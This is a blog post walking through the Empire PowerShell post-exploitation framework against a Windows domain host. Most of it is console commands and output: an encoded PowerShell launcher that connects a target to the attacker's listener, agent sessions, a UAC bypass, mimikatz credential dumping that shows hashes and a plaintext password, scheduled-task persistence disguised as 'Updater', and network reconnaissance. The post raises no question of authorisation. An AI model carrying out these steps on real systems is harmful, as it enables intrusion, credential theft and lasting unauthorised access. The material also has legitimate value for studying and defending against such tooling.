Post Exploitation: Empire

by **Melisa Ayşe Demirel** — 11 July 2019 in **Cyber Security**

0

```
=============================================================================
 Empire: PowerShell post-exploitation agent | [Version]: 0.5.1-beta
=============================================================================
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub
=============================================================================

      91 modules currently loaded

      1 listeners currently active

      1 agents currently active

(Empire) >
```

You may be able to learn how to exploit a system from a few articles but if you don't know what you're going to do after you've hacked, there's no special meaning in hacking it at all. In this article, I'll talk about an excellent exploitation framework called Empire.

Empire is a great post exploitation tool that contains python and powershell modules. Let's get to the examples without further ado.

Setup:

```
root@KernelBlog

apt install powershell-empire
```

```
=================================================================
 [Empire]  Post-Exploitation Framework
=================================================================
 [Version] 2.4 | [Web] https://github.com/empireProject/Empire
=================================================================

  _______ .___  ___. .______     __   .______       _______
 |   ____||   \/   | |      \   |  | |      \     |   ____|
 |  |__   |  \  /  | |  .--.  |  |  |  .--.  |    |  |__
 |   __|  |  |\/|  | |  |  |  |  |  |  |  |  |    |   __|
 |  |____ |  |  |  | |  '--'  |  |  |  '--'  |    |  |____
 |_______||__|  |__| |_______/   |__|  |_______/    |_______|


      284 modules currently loaded

      0 listeners currently active

      0 agents currently active


(Empire) >
```

Let's start by creating a listener.

```
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener
dbx             http_com       http_hop       meterpreter    redirector
http            http_foreign   http_mapi      onedrive
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
```

With the **uselistener** command the http connection point opens. You can check the connection settings with the **info** command.

```
(Empire: listeners/http) > execute
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) >
```

Connection point is created with the **execute** command.

```
(Empire: listeners/http) > launcher powershell
powershell -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBlAFIAcwBJAE8ATgBUAEEAQgBsAEUA
LgBQAFMAVgBFAFIAcwBpAE8ATgAuAE0AYQBqAG8AcgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsA
UgBFAEYAXQAuAEEAUwBzAEUATQBiAGwAeQAuAEcARQB0AFQAWQBwAEUAKAAnAFMAeQBzAHQAZQBtAC4A
TQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4A
IgBHAGUAVABGAGkARQBgAGwARAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA
UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMA
JwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAGEATAB1AEUA
KAAkAG4AVQBsAGwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMA
awBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8A
YwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA
bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsA
JwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwA
bwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAYQBMAD0A
WwBDAE8ATABMAEUAYwB0AEkAbwBOAFMALgBHAGUATgBlAHIAaQBjAC4ARABJAGMAdABJAG8ATgBBAFIA
WQBbAFMAVAByAGkATgBnACwAUwBZAHMAdABFAE0ALgBPAEIASgBlAGMAdABdAF0AOgA6AE4ARQB3ACgA
KQA7ACQAVgBhAGwALgBBAGQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8A
YwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAdgBBAEwALgBBAGQARAAoACcARQBuAGEAYgBsAGUA
UwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwA
MAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8A
ZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA
bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwA
bwBnAGcAaQBuAGcAJwBdAD0AJABWAEEAbAB9AEUAbABzAEUAewBbAFMAYwBSAEkAUABUAEIAbABPAGMA
```

Let's get to the real point. A powershell code is created with the **launcher powershell** command. When we run this code in the target system we'll get the shell.

```
(Empire: listeners/http) > agents
[!] No agents currently registered
(Empire: agents) > [*] Sending POWERSHELL stager (stage 1) to 172.30.166.67
[*] Agent B2D74NRV from 172.30.166.67 posted public key
[*] Agent B2D74NRV from 172.30.166.67 posted valid PowerShell RSA key
[*] New agent B2D74NRV checked in
[+] Initial agent B2D74NRV from 172.30.166.67 now active (Slack)
[*] Sending agent (stage 2) to B2D74NRV at 172.30.166.67

(Empire: agents) > list

[*] Active agents:

  Name             Lang  Internal IP     Machine Name    Username            Proc
ess             Delay    Last Seen
  ---------        ----  -----------     ------------    ---------           ----
---             -----    --------------------
  B2D74NRV         ps    172.30.166.67   FENASI          *ACME\Administrator powe
rshell/808      5/0.0    2019-06-28 11:34:14

(Empire: agents) > interact B2D74NRV
(Empire: B2D74NRV) >
```

We can see the machines we're connected to with **agents** command. As you can see, we got a session when we ran the code in the target system. We can list the machines with **list** command. We can connect to the machine with **interact** command. And if you've noticed, there's an asterisk in front of the username. This means we have admin authorities in the target machine.

```
        delay                   5
        username                ACME\Administrator
        kill_date
        parent                  None
        process_name            powershell
        listener                http
        process_id              808
        profile                 /admin/get.php,/news.php,/login/process.php|Mozi
lla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        os_details              Microsoft Windows 7 Ultimate
        lost_limit              60
        taskings                None
        name                    B2D74NRV
        language                powershell
        external_ip             172.30.166.67
        session_id              B2D74NRV
        lastseen_time           2019-06-28 11:35:29
        language_version        2
        high_integrity          1

(Empire: B2D74NRV) >
```

Empire tool

After connecting to the target machine with **interact** command, we check the machine's data with **info** command and then we can see that *high_integrity* is 1 which means that we're an admin.

What would we have to do if we weren't an admin?

```
  language_version        2
  high_integrity          0
```

Empire tool

We can jump on the admin authorities with **bypassuac [listener name]** command.

```
(Empire: T75YBKM4) > bypassuac http
[*] Tasked T75YBKM4 to run TASK_CMD_JOB
[*] Agent T75YBKM4 tasked with task ID 1
[*] Tasked agent T75YBKM4 to run module powershell/privesc/bypassuac_eventvwr
(Empire: T75YBKM4) > [*] Agent T75YBKM4 returned results.
Job started: MT9SP7
[*] Valid results returned by 172.30.166.67
```

Empire tool

Let's get the user passwords with **mimikatz** command.

```
(Empire: B2D74NRV) > mimikatz
[*] Tasked B2D74NRV to run TASK_CMD_JOB
[*] Agent B2D74NRV tasked with task ID 1
[*] Tasked agent B2D74NRV to run module powershell/credentials/mimikatz/logonpas
swords
(Empire: B2D74NRV) > [*] Agent B2D74NRV returned results.
Job started: LAHWGR
[*] Valid results returned by 172.30.166.67
[*] Agent B2D74NRV returned results.
Hostname: fenasi.acme.local / S-1-5-21-3380459138-1790046732-2621257681

  .#####.   mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 102562 (00000000:000190a2)
Session           : Interactive from 1
User Name         : Administrator
Domain            : ACME
Logon Server      : WIN-U2S7RA8HROB
Logon Time        : 28.06.2019 11:09:12
SID               : S-1-5-21-3380459138-1790046732-2621257681-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : ACME
         * LM       : e52cac67419a9a2238f10713b629b565
         * NTLM     : 64f12cddaa88057e06a81b54e73b949b
         * SHA1     : cba4e545b7ec918129725154b29f055e4cd5aea8
        tspkg :
         * Username : Administrator
```

Empire tool

We can see it more organized with **creds** command.

```
(Empire: B2D74NRV) > creds

Credentials:

  CredID  CredType   Domain                    UserName         Host
Password
  ------  --------   ------                    --------         ----
--------
  1       hash       acme.local                Administrator    fenasi
64f12cddaa88057e06a81b54e73b949b
  2       hash       acme.local                FENASI$          fenasi
490dd2c5b2f9d07ccb58c2cb87c77f96
  3       plaintext  acme.local                Administrator    fenasi
Password1

(Empire: B2D74NRV) >
```

Empire tool

We can persist in the target machine using Empire.

```
root@KernelBlog

usemodule persistance/elevated/schtasks
```

```
(Empire: powershell/persistence/elevated/schtasks) > set OnLogon True
(Empire: powershell/persistence/elevated/schtasks) > set Listener http
(Empire: powershell/persistence/elevated/schtasks) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked B2D74NRV to run TASK_CMD_WAIT
[*] Agent B2D74NRV tasked with task ID 2
[*] Tasked agent B2D74NRV to run module powershell/persistence/elevated/schtasks
(Empire: powershell/persistence/elevated/schtasks) > [*] Agent B2D74NRV returned results.
BAŞARI: Zamanlanmış görev "Updater" başarıyla oluşuturuldu.
Schtasks persistence established using listener http stored in HKLM:\Software\Microsoft\N
etwork\debug with Updater OnLogon trigger.
[*] Valid results returned by 172.30.166.67
(Empire: powershell/persistence/elevated/schtasks) >
```

Empire tool

We can also scan the network our target machine is using.

root@KernelBlog

```
usemodule situational_awareness/network/arpscan
```

```
(Empire: powershell/situational_awareness/network/arpscan) > set Range 172.30.235.0-172.30.235.255
(Empire: powershell/situational_awareness/network/arpscan) > execute
[*] Tasked B2D74NRV to run TASK_CMD_JOB
[*] Agent B2D74NRV tasked with task ID 3
[*] Tasked agent B2D74NRV to run module powershell/situational_awareness/network/arpscan
(Empire: powershell/situational_awareness/network/arpscan) > [*] Agent B2D74NRV returned results.
Job started: A7U54B
[*] Valid results returned by 172.30.166.67
[*] Agent B2D74NRV returned results.

MAC               Address
---               -------
08:00:27:25:6C:AE 172.30.235.166




[*] Valid results returned by 172.30.166.67
(Empire: powershell/situational_awareness/network/arpscan) >
```

Empire tool

As you can see there's a machine in the network. We can also find the Domain Controller if we'd like.

root@KernelBlog

```
usemodule situational_awareness/network/powerview/find_localadmin_access
```

```
[*] Tasked B2D74NRV to run TASK_CMD_JOB
[*] Agent B2D74NRV tasked with task ID 9
[*] Tasked agent B2D74NRV to run module powershell/situational_awareness/network/powerview/find_localadmin_
access
(Empire: powershell/situational_awareness/network/powerview/find_localadmin_access) > [*] Agent B2D74NRV re
turned results.
Job started: 5MAE2V
[*] Valid results returned by 172.30.166.67
[*] Agent B2D74NRV returned results.

HostName                    AddressList
--------                    -----------
WIN-U2S7RA8HROB.acme.local {172.30.235.166}



[*] Valid results returned by 172.30.166.67
```

Empire tool

Good Luck!

Tags: empire post exploitation tool

Previous Post

Installing Pentest Tools to Systems with Pacman Package Management

Next Post

XSS Vulnerability: Exploitation and Preventation

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment

Name *

Email *

Website

POST COMMENT

Search...

Archives

August 2019

July 2019

June 2019

May 2019

April 2019

March 2019

February 2019

January 2019

December 2018

November 2018

October 2018

September 2018

August 2018

KernelBlog

Navigate Site

Follow Us